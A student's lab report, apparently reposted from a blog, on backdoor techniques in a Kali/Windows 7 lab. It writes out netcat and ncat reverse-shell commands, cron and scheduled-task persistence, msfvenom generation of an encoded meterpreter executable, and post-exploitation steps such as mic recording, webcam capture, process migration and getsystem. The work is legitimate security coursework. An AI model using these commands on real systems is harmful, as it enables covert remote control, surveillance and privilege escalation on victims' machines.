2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践
1.实验内容
- (1)使用netcat获取主机操作Shell,cron启动
- (2)使用socat获取主机操作Shell, 任务计划启动
- (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。
实验环境
- 关闭防火墙的win7虚拟机,我的ip地址为:192.168.235.138
- kali虚拟机.ip地址为:192.168.235.137
- 两台虚拟机可以ping通
实验中用到的工具
- netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。
- socat。netcat的增强版。安装方法同上。
- meterpreter。kali机自带,只在kali中用
实验步骤
1.使用netcat获取主机操作Shell,cron启动
win7为坏人,linux为受害者。cron启动
- win7监听,linux反弹连接
- win7中cmd窗口中输入:netcat.exe -l -p 9999。 表示开始监听9999端口。注意,要在netcat所在的目录下进行输入。
- kali中输入命令 nc 192.168.235.138 9999 -e /bin/sh。这时候win7的cmd窗口里就获取了linux的shell了
- cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。这里的cron启动时去让linux受害者去定时反弹连接win7。
- 用crontab -e指令去增加一条定时任务,
- 自己写。格式如下
- # m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
- 12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh
- 写完输入指令crontab -l查看。
- 每个小时的第12分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在9999端口监听,那这时候就138就会获得kali的后门。当然也可以正向连接,linux作为受害者,cron指令写成nc -l -p 9999 -e /bin/sh,然后坏人机win7中nc IP 9999,也能获得shell
linux为坏人,win7为受害者。
- linux监听,输入命令 nc -l -p 9999
- win7去反弹连接,在ncat目录下输入 ncat.exe -e cmd.exe 192.168.235.137 9999
- 这时在linux中可以看到win7的cmd命令窗口
2.使用socat获取主机操作Shell。 任务计划启动
- 这意思是win7作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win7作为victim反向连接的。
- 用man socat命令查看socat的介绍及相关用法: (socat图)
- win7中打开控制面板,点击管理工具里的计划任务
- 点击右侧的创建任务,在常规选项卡里填名称,自己以后要认得出来
- 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时
- 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5212 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置:
- 点击左侧的任务计划程序库,点击右边的显示所有任务,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali
- 在Kali Linux中输入socat - tcp:192.168.235.138:5212命令,可以成功得到一个cmd shell:
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
- 简单粗暴msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212backdoor.exe 指令生成一个exe后门程序。完整指令是:msfvenom -p windows/meterpreter/reversetcp -x ./fenix.exe -e x86/shikataganai -i 5 -b ‘\x00’ LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212backdoor.exe
- 参数说明:
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
- -e 使用的编码器,用于对shellcode变形,为了免杀
- -i 编码器的迭代次数。如上即使用该编码器编码5次
- -b badchar是payload中需要去除的字符
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
- > 输出到哪个文件
- 现在文件生成好了,先再win7的命令行中输入ncat -l 5212> 20165212backdoor.exe开启监听并将接受的数据写入20165212backdoor.exe文件中
- 再kali中用ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe 指令将数据传过去
(传送成功的图)
- 彳亍,现在要用msf了,一个强大的平台。。。自己感受。kali中输入msfconsole:
- 依次输入以下命令
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 10.211.55.10 //注意此处应为Linux的IP!
- set LPORT 5212 //后门程序里的端口号
- show options
- exploit
- 说明:
- LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.235.137,坏人的ip
- LPORT也需要和上一步生成backdoor.exe的一致,即5212;
- payload也要一致,即windows/meterpreter/reverse_tcp
- 现在去win中双击运行20165212_backdoor.exe,点了是没反应的 ,然后切回kali,通过msf的监听进程获得win的主动链接,并得到远程控制shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 承接上面的。要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍。
- 获取截屏:screenshot (截屏命令图(抓的屏图12))
- 获取音频:record_mic
- .
- 获取摄像头和录像:webcamsnap/webcamstream。我的没成功,win7上没有驱动,我会尽快搞定 (摄像头失败)
- getuid获取运行msf会话的用户名,从而查看当前会话具有的权限
- sysinfo,获得目标系统的信息,机器名、操作系统等
- shutdown命令,最后都试完了再输这个命令
- ps获得受害者机上运行 的进程信息
- migrate []命令,例如我把msf会话移植到1588 中,是explorer.exe,稳定的系统服务。从头想起,我们的实验是把受害者绑起来给他植入后门,很无脑。如果是正常的利用系统漏洞、浏览器漏洞溢出而得到的会话,比如IE浏览器,那么msf meterpreter代码存在于IE的内存空间中,那边关掉IE浏览器,msf会话就没了,但是若存在于 explorer这样稳定的系统服务中,就能一直用。而且,这种移植是“无缝移植”,不用断开已有的TCP连接。
- execute命令,例如我直接与win的cmd.exe交互,我输入execute -H -i -f cmd.exe
- upload/download命令,顾名思义——往受害机传/从受害机下载 文件
- .
- cat/edit 命令,查看/编辑文本
- 权限提升getsystem,然后getuid查看权限(下图中好像已经是管理员权限)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 别急,明天写
实验总结与体会
总结:
实验内容较多,尤其是是meterpreter实践,有很多很多事可以做,我只写了看起来重要且常用的一些指令,更多的请参考《Metasploit渗透测试魔鬼训练营》。本次实验在一个理想化程度很高的环境下完成,这样在现实中是没有任何意义的。相比较于msf中花里胡哨的操作,我觉得更重要的还是去研究有堆栈保护、有杀软、有防火墙的环境下如何渗透目标,哪怕是一个bit,因为要在那样的基础上我们后续的实验、操作才有可行性。或者是几个人凑各团队,每个人负责一块。
体会:
markdown里传图片功能坏了,我...
原文地址:https://www.cnblogs.com/FenixRen/p/10562400.html
时间: 2024-10-08 15:02:54